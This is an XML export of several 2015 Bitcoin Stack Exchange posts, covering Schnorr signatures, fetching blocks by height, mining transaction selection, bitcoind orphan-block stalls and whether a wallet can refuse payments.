  <row Id="35351" PostTypeId="2" ParentId="34288" CreationDate="2015-01-08T00:39:17.757" Score="37" Body="&lt;p&gt;Warning: I've never actually worked with the Schnorr signature scheme.  The&#xA;following is my analysis based on reading the &lt;a href=&quot;https://en.wikipedia.org/wiki/Schnorr_signature&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&#xA;article&lt;/a&gt;, the &lt;a href=&quot;http://ed25519.cr.yp.to/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ed25519&#xA;page&lt;/a&gt;, and some discussions between devs in&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/IRC_channels&quot; rel=&quot;nofollow noreferrer&quot;&gt;#bitcoin-dev&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2&gt;Likely Changes&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Changed op code behavior:&lt;/strong&gt; we will need an op code to check&#xA;Schnorr signatures. With a hard fork, we can redefine&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/OP_CHECKSIG&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;op_checksig&lt;/code&gt;&lt;/a&gt; and&#xA;&lt;code&gt;op_checksigverify&lt;/code&gt; to also check Schnorr signatures. With a soft&#xA;fork, we can redefine one of the &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow noreferrer&quot;&gt;reserved no-op op codes&lt;/a&gt; to check&#xA;Schnorr signatures.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Increased P2SH usage (maybe):&lt;/strong&gt; I think it's highly unlikely&#xA;that a new address format will be introduced to do the same thing&#xA;for pubkey scripts paying Schnorr public keys that&#xA;&lt;a href=&quot;https://bitcoin.org/en/developer-guide#term-p2pkh&quot; rel=&quot;nofollow noreferrer&quot;&gt;P2PKH&lt;/a&gt; does for&#xA;ECDSA public keys. That means people who want an address to use&#xA;Schnorr even with just one key (non-multisig) will have to use&#xA;P2SH. Of course, for applications that don't need addresses (like for&#xA;mining or when using the&#xA;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0070.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP70&lt;/a&gt;&#xA;payment protocol), they can just use &lt;code&gt;op_checksigverify_schnorr&lt;/code&gt; (or&#xA;whatever) directly in their &lt;a href=&quot;https://bitcoin.org/en/developer-guide#term-pubkey-script&quot; rel=&quot;nofollow noreferrer&quot;&gt;pubkey scripts&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Smaller multisig transactions:&lt;/strong&gt; one of the most widely touted&#xA;advantages of the Schnorr scheme is that it can allow multiple&#xA;signers to combine their signatures into a single signature which can&#xA;be authenticated against a single public key created by all the&#xA;authorized parties. This accomplishes the same thing current Bitcoin&#xA;multisig does but uses fewer bytes. This may be especially useful if&#xA;dozens or hundreds of signatures are required, such as in a&#xA;crowdfunding situation.  Note: if I understand correctly, this is&#xA;also possible also with ECDSA, but in a less flexible way. (2018 note: there's now a paper out that details how to do &lt;a href=&quot;https://lists.linuxfoundation.org/pipermail/lightning-dev/attachments/20180426/fe978423/attachment-0001.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;script-less scripts on ECDSA&lt;/a&gt;, including 2-of-2 multisig)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Slightly smaller for all transactions:&lt;/strong&gt; assuming Bitcoin uses the&#xA;&lt;a href=&quot;http://ed25519.cr.yp.to/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ed25519&lt;/a&gt; curve, which has a similar key&#xA;strength to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Secp256k1&quot; rel=&quot;nofollow noreferrer&quot;&gt;secp256k1&lt;/a&gt; ECDSA curve Bitcoin currently uses,&#xA;compressed Schnorr public keys and signatures will be (respectively)&#xA;32 bytes and up to 64 bytes compared to current compressed Bitcoin&#xA;secp256k1 public keys and (non-compressed) signatures that are 33&#xA;bytes and up to 75 bytes.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Plausible deniability for multisig:&lt;/strong&gt; using Schnorr &lt;a href=&quot;https://en.wikipedia.org/wiki/Threshold_cryptosystem&quot; rel=&quot;nofollow noreferrer&quot;&gt;threshold&#xA;signatures&lt;/a&gt; it&#xA;may be easier to prevent multiple signers or third-parties from knowing who else&#xA;signed or didn't sign. That's because the individual signatures are&#xA;merged into a unified signature that doesn't directly reveal who&#xA;signed it. This can be used in situations where the signers are&#xA;afraid of reprisals for spending funds in a particular way.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Plausible deniability of authorized parties&lt;/strong&gt; using a&#xA;third-party organizer (which doesn't need to be trusted with private&#xA;keys), it's possible to prevent signers from knowing whether their&#xA;private key is part of the set of signing keys. Although not&#xA;directly relevant to Bitcoin transactions, I seem to recall[1] Greg&#xA;Maxwell saying he'd like to see this property used for distributed&#xA;forum moderation: choose a bunch of senior forum members, get a&#xA;public key from each of them, create a threshold public key from&#xA;some of the individual public keys, and then let individuals submit&#xA;a signature when they think a post should be removed. The&#xA;third-party organizer (probably an automated program) will combine&#xA;the signatures without leaking whose signature actually contributed&#xA;towards meeting the threshold. If nobody knows whose signature&#xA;actually matters and the pool of possible moderators is large,&#xA;effective reprisals against moderators become very expensive. [1]: #bitcoin IRC about 4 months ago; unfortunately that chatroom is not&#xA;publicly logged.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Theoretical better security properties:&lt;/strong&gt; the experts agree general&#xA;Schnorr signatures have &lt;a href=&quot;https://en.wikipedia.org/wiki/Schnorr_signature#Security_argument&quot; rel=&quot;nofollow noreferrer&quot;&gt;better theoretical security&#xA;properties&lt;/a&gt;&#xA;than equivalent ECDSA signatures. The most notable of these&#xA;improvements is that the hash function used in Schnorr doesn't need&#xA;to be as collision resistant as the hash function used in ECDSA.&#xA;(Bitcoin would likely use the same hash function for Schnorr that it&#xA;uses for ECDSA: SHA256.) Also, the ed25519 page linked above&#xA;describes several ways it is resistant to side-channel attacks, which&#xA;can allow hardware wallets to operate safely in less secure&#xA;environments.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Faster signature verification:&lt;/strong&gt; it likely takes fewer CPU cycles&#xA;to verify an ed25519 Schnorr signature than a secp256k1 ECDSA&#xA;signature. This is probably only a tiny improvement for Bitcoin:&#xA;Bitcoin Core verifies signatures before adding a transaction to its&#xA;mempool. When a block is received containing transactions already in&#xA;the local mempol, Bitcoin Core does not re-verify those transactions,&#xA;so as long as the local node and the mining node have identical&#xA;mempools, no signature verifications need to be performed. (Recall the&#xA;coinbase transaction doesn't have a signature.) However, signature&#xA;verification is currently a bounding factor for nodes during initial&#xA;blockchain download (assuming a high-speed connection and Bitcoin&#xA;Core 0.10.0), so &amp;quot;faster would be better.&amp;quot;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Multi-crypto multisig:&lt;/strong&gt; with two (slightly) different&#xA;cryptosystems to choose from, high-security users can create 2-of-2&#xA;multisig pubkey scripts that require both ECDSA and Schnorr&#xA;signatures, so their bitcoins can't be stolen if only one&#xA;cryptosystem is broken.  Unless we hardfork in Schnorr (see point #1),&#xA;they won't be able to use standard op_checkmultisig---but they can do&#xA;something like &lt;code&gt;&amp;lt;ecdsa pubkey&amp;gt; OP_CHECKSIGVERIFY &amp;lt;schnorr pubkey&amp;gt; OP_CHECKSIGVERIFY_SCHNORR&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;Uncertainties (To Me)&lt;/h2&gt;&#xA;&lt;ol start=&quot;10&quot;&gt;&#xA;&lt;li&gt;&lt;strong&gt;Maybe changed TXIDs:&lt;/strong&gt; I'm not familiar enough with Schnorr&#xA;signatures to know how they might be malleable (changeable by&#xA;third-parties without invalidating them), but crypto expert &lt;a href=&quot;http://www.mail-archive.com/bitcoin-development%40lists.sourceforge.net/msg02939.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Adam Back seems to think&lt;/a&gt; they'd be pretty malleable. His solution would be to change how &lt;a href=&quot;https://bitcoin.org/en/developer-guide#term-txid&quot; rel=&quot;nofollow noreferrer&quot;&gt;TXIDs&lt;/a&gt; are calculated from &lt;code&gt;hash(&amp;lt;whole transaction&amp;gt;)&lt;/code&gt; to &lt;code&gt;hash(&amp;lt;almost everything except the signature&amp;gt;)&lt;/code&gt;.  This would fix some current &lt;a href=&quot;https://bitcoin.org/en/developer-guide#transaction-malleability&quot; rel=&quot;nofollow noreferrer&quot;&gt;malleability&lt;/a&gt;-based problems, such as slow &lt;a href=&quot;https://bitcoin.org/en/developer-guide#micropayment-channel&quot; rel=&quot;nofollow noreferrer&quot;&gt;micropayment channel&lt;/a&gt; creation, but it also be a major hard fork that affects effectively all Bitcoin software.  The last fork of that scale---the soft-fork &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0011.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;P2SH implementation&lt;/a&gt;---still doesn't have support for it from all Bitcoin programs after three years of discussion, two years of implementation, and fairly widespread use.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Public key recovery from signatures:&lt;/strong&gt; I don't know whether a Schnorr public key can be recovered from a Schnorr signature the way an ECDSA pubkey can be recovered from an ECDSA signature.  This could be important: the Bitcoin Core &lt;a href=&quot;https://bitcoin.org/en/developer-reference#verifymessage&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;verifymessage&lt;/code&gt; RPC&lt;/a&gt; uses key recovery to verify messages signed with the &lt;a href=&quot;https://bitcoin.org/en/developer-reference#signmessage&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;signmessage&lt;/code&gt; RPC&lt;/a&gt; or by another client's sign message implementation.  (Note: this point left unnumbered because it was added after the original posting.)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2&gt;Non-Changes&lt;/h2&gt;&#xA;&lt;p&gt;Just to be clear, here are some things that don't change.&lt;/p&gt;&#xA;&lt;ol start=&quot;11&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Deterministic signatures:&lt;/strong&gt; there has been a drive towards&#xA;&lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc6979&quot; rel=&quot;nofollow noreferrer&quot;&gt;deterministic ECDSA signatures&lt;/a&gt;&#xA;in Bitcoin software. For example, Bitcoin Core will begin using them&#xA;in the upcoming 0.10.0 release. Schnorr signatures can also be&#xA;generated deterministically. With deterministic signatures, you&#xA;don't need a high-quality source of entropy (randomness) to create&#xA;secure signatures. However, you do still need high-quality entropy&#xA;to generate private keys or root seeds (see point below).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;HD wallets:&lt;/strong&gt; it looks to me like the &lt;a href=&quot;https://bitcoin.org/en/developer-guide#hierarchical-deterministic-key-creation&quot; rel=&quot;nofollow noreferrer&quot;&gt;hierarchical deterministic&#xA;(HD) key generation&#xA;protocol&lt;/a&gt;&#xA;will work for Schnorr key pairs with a few small modifications. You&#xA;can even use the same root seed for both ECDSA and Schnorr&#xA;hierarchies.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Key (address) reuse:&lt;/strong&gt; as with properly-implemented ECDSA, it's&#xA;possible to securely create multiple Schnorr signatures for different&#xA;transactions, meaning it's secure to receive multiple outputs to the&#xA;same address or public key. This is in contrast to&#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Merkle_signature_scheme&quot; rel=&quot;nofollow noreferrer&quot;&gt;some signature&#xA;schemes&lt;/a&gt; which&#xA;only allow you to securely use a one signature per public key.  However, key reuse&#xA;can still be less secure than using unique keys for each transaction,&#xA;and key reuse will always be much less private for you and your&#xA;trading partners.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;Priority&lt;/h2&gt;&#xA;&lt;p&gt;Just as a matter of my opinion: Schnorr seems to provide some nice&#xA;advantages over ECDSA for power users, but nobody seems to be begging&#xA;for those features---so adding Schnorr signatures is probably low&#xA;priority. I'd guess that Schnorr signature support might be one of the&#xA;first improvements that will be fully tested in a &lt;a href=&quot;http://blockstream.com/sidechains.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;sidechain (PDF&#xA;link)&lt;/a&gt; before being ported back&#xA;to Bitcoin.&lt;/p&gt;&#xA;&lt;p&gt;P.S. Sorry for the long post, but thanks for asking such a fun question!&lt;/p&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="-1" LastEditDate="2021-10-07T07:05:27.390" LastActivityDate="2018-06-13T18:07:07.967" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="35352" PostTypeId="2" ParentId="34320" CreationDate="2015-01-08T01:02:15.193" Score="3" Body="&lt;p&gt;I see two broad solutions:&lt;/p&gt;&#xA;&lt;h3&gt;Use an API that allows you to get blocks by block height&lt;/h3&gt;&#xA;&lt;p&gt;BlockChain.info allows you to query for blocks at a certain height. Example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;https://blockchain.info/block-height/100?format=json&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;returns&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{ &amp;quot;blocks&amp;quot; : [&#xA;{&#xA;    &amp;quot;hash&amp;quot;:&amp;quot;000000007bc154e0fa7ea32218a72fe2c1bb9f86cf8c9ebf9a715ed27fdb229a&amp;quot;,&#xA;    &amp;quot;ver&amp;quot;:1,&#xA;(snipped)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(Remember to filter out blocks that aren't on the main chain, by looking at the &amp;quot;main_chain&amp;quot; attribute.)&lt;/p&gt;&#xA;&lt;p&gt;You can take that hash, and look up the block:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;https://blockchain.info/rawblock/000000007bc154e0fa7ea32218a72fe2c1bb9f86cf8c9ebf9a715ed27fdb229a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;returns&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &amp;quot;hash&amp;quot;:&amp;quot;000000007bc154e0fa7ea32218a72fe2c1bb9f86cf8c9ebf9a715ed27fdb229a&amp;quot;,&#xA;    &amp;quot;ver&amp;quot;:1,    &#xA;    &amp;quot;prev_block&amp;quot;:&amp;quot;00000000cd9b12643e6854cb25939b39cd7a1ad0af31a9bd8b2efe67854b1995&amp;quot;,&#xA;    &amp;quot;mrkl_root&amp;quot;:&amp;quot;2d05f0c9c3e1c226e63b5fac240137687544cf631cd616fd34fd188fc9020866&amp;quot;,&#xA;    &amp;quot;time&amp;quot;:1231660825,&#xA;(snipped)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;(This is in a JSON format custom to BlockChain - I haven't found any API providers that will return the raw block. Kinda annoying.)&lt;/p&gt;&#xA;&lt;h3&gt;Write a client that gets the blocks from the network&lt;/h3&gt;&#xA;&lt;p&gt;This downloads the headers of the Bitcoin blockchain (much smaller than the whole blockchain). Then, it goes through the block headers and downloads the ones you want.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;WalletAppKit kit = new WalletAppKit(MainNetParams.get(), new java.io.File(&amp;quot;.&amp;quot;), &amp;quot;test&amp;quot;);&#xA;// Download headers&#xA;kit.startAndWait();&#xA;BlockChain chain = kit.chain();&#xA;BlockStore bs = chain.getBlockStore();&#xA;Peer peer = kit.peerGroup().getDownloadPeer();&#xA;// Get last block&#xA;StoredBlock current = bs.getChainHead();&#xA;// Loop until you reach the genesis block&#xA;while(current.getHeight() &amp;gt; 1) {&#xA;    // Fully download blocks between 100 and 200&#xA;    if(100 &amp;lt;= current.getHeight() &amp;amp;&amp;amp; current.getHeight() &amp;lt;= 200) {&#xA;        Block b = peer.getBlock(current.getHeader().getHash()).get();&#xA;        System.out.println(b);&#xA;    }&#xA;    current = current.getPrev(bs);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This example uses BitcoinJ, but other SPV Bitcoin libraries can do this too.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/22242&quot;&gt;(Thanks to Diego Basch for the code.)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-01-08T15:23:01.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35353" PostTypeId="2" ParentId="34312" CreationDate="2015-01-08T01:12:03.130" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Do all people mining the next block use the same transactions to form the Merkle tree?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. This can arise because miners choose transactions differently (I say there shouldn't be free transactions!) or because a transaction is only known about by 90% of the network.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm mining the transactions ABC and you are mining XYZ. If so, if I find a block that contains ABC, will I then mine the XYZ transactions?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That depends on why you didn't include XYZ in your first block. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you didn't include them because you don't know about them, then you won't.&lt;/li&gt;&#xA;&lt;li&gt;If you didn't include them because they didn't pay enough fees, then you might.&lt;/li&gt;&#xA;&lt;li&gt;If you didn't include them because there wasn't enough space in the block, then you probably would.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I find a block, you will have to check which transactions were included in the block by me, before forming the next merkle tree, right? If not, you might use, for example, the B transaction again, which was already confirmed by me.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. Mining clients download and fully validate blocks before mining on top of them.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-01-08T01:12:03.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35354" PostTypeId="2" ParentId="35336" CreationDate="2015-01-08T05:25:18.193" Score="1" Body="&lt;p&gt;Bitcoin is meant to be a redundant and cooperative network.  Everyone feeds everyone data.  So in a way, sure.&lt;/p&gt;&#xA;" OwnerUserId="6803" LastActivityDate="2015-01-08T05:25:18.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35355" PostTypeId="2" ParentId="35332" CreationDate="2015-01-08T05:37:55.980" Score="0" Body="&lt;p&gt;C, C++, Python, Java, QT, PHP, JS, and everything networking admin (apache, tomcat, node, whatever other server of your choice and network security/show stoppers for each)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh and SSL in whatever language variation of your choice.&lt;/p&gt;&#xA;" OwnerUserId="6803" LastActivityDate="2015-01-08T05:37:55.980" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35356" PostTypeId="2" ParentId="35327" CreationDate="2015-01-08T07:13:33.110" Score="2" Body="&lt;p&gt;After considering the comment by &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/35327/value-field-in-raw-transaction-rounded-bitcoins-float-or-satoshis#comment40107_35330&quot;&gt;George&lt;/a&gt;, I found out that indeed the results of parsing raw transaction differs between using &lt;code&gt;bitcoind&lt;/code&gt; locally and letting blockchain.info parse the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e., both representations are equivalent and there is no difference between the actual transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since my transaction was being rejected, I checked this by using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli -regtest decoderawtransaction 01000000012db211b32295f7ca3e9cdd9f3f0ea12bd938f8fc62c372f1147882dea35a197e000000008b4830450220772661303176b4505f16c512edfdc0dda7a480ace7f4dd23275902e0575c1e8b022100d356bd2e8b4abd366a6e71abaeb689f682edeae42355c638cbb0be4a3df5a924014104aa69850ffcdb48814354c2a9828611a54d9baafa215c8756eb2b53597f0beeef9a393071b12ab535282ae62778b103a8b3de4ecd4505f33343d58ca9bb4f1d2effffffff0180f0fa02000000001976a91426fc9e0484367d611996e0ccf583aa9976a0c98488ac00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before, I was not aware of this command and used &lt;a href=&quot;https://blockchain.info/decode-tx&quot; rel=&quot;nofollow noreferrer&quot;&gt;blockchain.info&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have updated and highlighted this in my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After getting this clear, I found out that the error (&lt;code&gt;tx-hash value in &amp;lt; value out&lt;/code&gt;) was caused by my application. I was assuming that the output address I care about is always the first one on the transaction (i.e., &lt;code&gt;&quot;n&quot; : 0&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="22795" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-01-08T07:13:33.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35358" PostTypeId="1" AcceptedAnswerId="35363" CreationDate="2015-01-08T09:17:02.510" Score="2" ViewCount="227" Body="&lt;p&gt;My bitcoind started synchronising blocks. The bitcoind version is 0.93. When the bitcoind found an orphan blocks in the synchronising process, it seems stop and did not work. the message from the log like this:2015-01-08 06:08:19 ProcessBlock: ORPHAN BLOCK 184, prev=0000000000000002d79cd7069cedd05f49716354590bd5518b18a513b3b4d513&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need restart it and it would continue synchronising. This case happens many times. sometimes the bitcoind found orphan blocks in the synchronising process, it would continue work.  I don't where is wrong. Any ideas? Big thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;note: my system is CentOS&lt;/p&gt;&#xA;" OwnerUserId="21175" LastEditorUserId="21175" LastEditDate="2015-01-08T13:07:27.287" LastActivityDate="2015-01-08T14:28:12.523" Title="Bitcoind suspend when Synchronizing blocks" Tags="|bitcoind|client|synchronization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35359" PostTypeId="2" ParentId="35332" CreationDate="2015-01-08T09:27:55.937" Score="1" Body="&lt;p&gt;You can use any programming language you want, as long as it allows you to build applications which run on most computers, perform advanced mathematical operations, make network connections to any other IP address and build graphical user interfaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which one you pick should depend on what languages you are proficient with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Java or Visual Basic would not be &lt;em&gt;my&lt;/em&gt; first choice for such a project, but I see no reason why it would not be possible to implement a cryptocurrency with either.&lt;/p&gt;&#xA;" OwnerUserId="12199" LastEditorUserId="12199" LastEditDate="2015-01-08T09:37:56.107" LastActivityDate="2015-01-08T09:37:56.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35360" PostTypeId="2" ParentId="35342" CreationDate="2015-01-08T10:07:14.670" Score="1" Body="&lt;p&gt;This occurrence has it's own name and there are lots of resources about this problematic aspect of bitcoins: &lt;a href=&quot;https://en.bitcoin.it/wiki/Double-spending&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Double-spending&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin police is on the way to your house right now.&lt;/p&gt;&#xA;" OwnerUserId="22817" LastActivityDate="2015-01-08T10:07:14.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35361" PostTypeId="1" CreationDate="2015-01-08T10:18:58.227" Score="3" ViewCount="390" Body="&lt;p&gt;Recently IBM and Microsoft showed their interest (&lt;a href=&quot;http://www.coindesk.com/ibm-executive-block-chain-internet-of-things/&quot; rel=&quot;nofollow&quot;&gt;IBM post&lt;/a&gt;, &lt;a href=&quot;https://www.cryptocoinsnews.com/microsoft-also-exploring-blockchain-technology-iot-world-distributed-connected-devices/&quot; rel=&quot;nofollow&quot;&gt;Microsoft post&lt;/a&gt;) in utilization of blockchain for &lt;a href=&quot;http://en.wikipedia.org/wiki/Internet_of_Things&quot; rel=&quot;nofollow&quot;&gt;internet of things&lt;/a&gt; development.&#xA;Let's assume that in close future the blockchain technique to be implemented in smart cars overlaying road conditions or traffic data to each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the majority of honest nodes will be low-computational power devices (maybe like raspberry pi) it will be easy for adversary to perform a double-spending attack if implemented mining algorithm will not be able to bottleneck mining capabilities of devices. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there any mining algorithm that can resist nodes with high-computational power to a certain extent, so the blockchain can be utilized in a network of low-computational power devices?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;From security perspective is it possible to allow only certain devices connect the network (let's say if they will somehow proove that they are limited in computational power within acceptable range defined by network)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13358" LastEditorUserId="5406" LastEditDate="2016-04-17T20:12:54.550" LastActivityDate="2016-04-17T20:12:54.550" Title="Blockchain for internet-of-things or is there any mining algorithm that can be utilized in low-computational power devices preserving security?" Tags="|mining-theory|doublespend|algorithms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35362" PostTypeId="2" ParentId="4887" CreationDate="2015-01-08T12:25:48.080" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.litecoinlocal.net&quot; rel=&quot;nofollow&quot;&gt;Litecoinlocal&lt;/a&gt; is the best site for this, as you're exchanging your USD directly to a person for Litecoins via SEPA, ACH, or whatever payment method you decide on.&lt;/p&gt;&#xA;" OwnerUserId="14930" LastActivityDate="2015-01-08T12:25:48.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35363" PostTypeId="2" ParentId="35358" CreationDate="2015-01-08T14:05:06.543" Score="1" Body="&lt;p&gt;The new version &lt;a href=&quot;https://bitcoin.org/bin/0.10.0/test/&quot; rel=&quot;nofollow&quot;&gt;(0.10 / RC1)&lt;/a&gt; has a &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/0.10/doc/release-notes.md#faster-synchronization&quot; rel=&quot;nofollow&quot;&gt;rewritten block-download mechanism which significantly improves synchronization&lt;/a&gt; which could result in less similar issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A workaround for the current version is to deploy the &lt;code&gt;-maxconnections=&amp;lt;n&amp;gt;&lt;/code&gt; option and set it to a low number to reduce parallelism and thus receive less orphans in total. Set &lt;code&gt;-maxconnections=1&lt;/code&gt; to receive little to no orphans (essentially only for the newly announced blocks). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use the &lt;code&gt;-maxorphanblocks=&amp;lt;n&amp;gt;&lt;/code&gt; option (which has a default value of 750), try decreasing it and the daemon will probably bypass the stall point, as keeping less max orphans will prevent your system from running out of resources (eg RAM), which I suppose is what currently happens. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another workaround is to just download the &lt;a href=&quot;http://sourceforge.net/projects/bitcoin/files/Bitcoin/blockchain/bootstrap.dat.torrent/download&quot; rel=&quot;nofollow&quot;&gt;bootstrap.dat torrent&lt;/a&gt; if you are still many weeks behind the current block.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorDisplayName="user11221" LastEditDate="2015-01-08T14:28:12.523" LastActivityDate="2015-01-08T14:28:12.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35364" PostTypeId="1" AcceptedAnswerId="35367" CreationDate="2015-01-08T14:28:47.377" Score="10" ViewCount="1281" Body="&lt;p&gt;Once my public wallet address is known, is there anyway to deny payments to that wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I want an external authority to regulate who can pay into a wallet, is that possible?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess a related question is can I turn a wallet 'off' once it is in the block chain and known.&lt;/p&gt;&#xA;" OwnerUserId="22805" LastActivityDate="2015-01-08T14:39:46.303" Title="Can a wallet deny payments to it?" Tags="|transactions|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
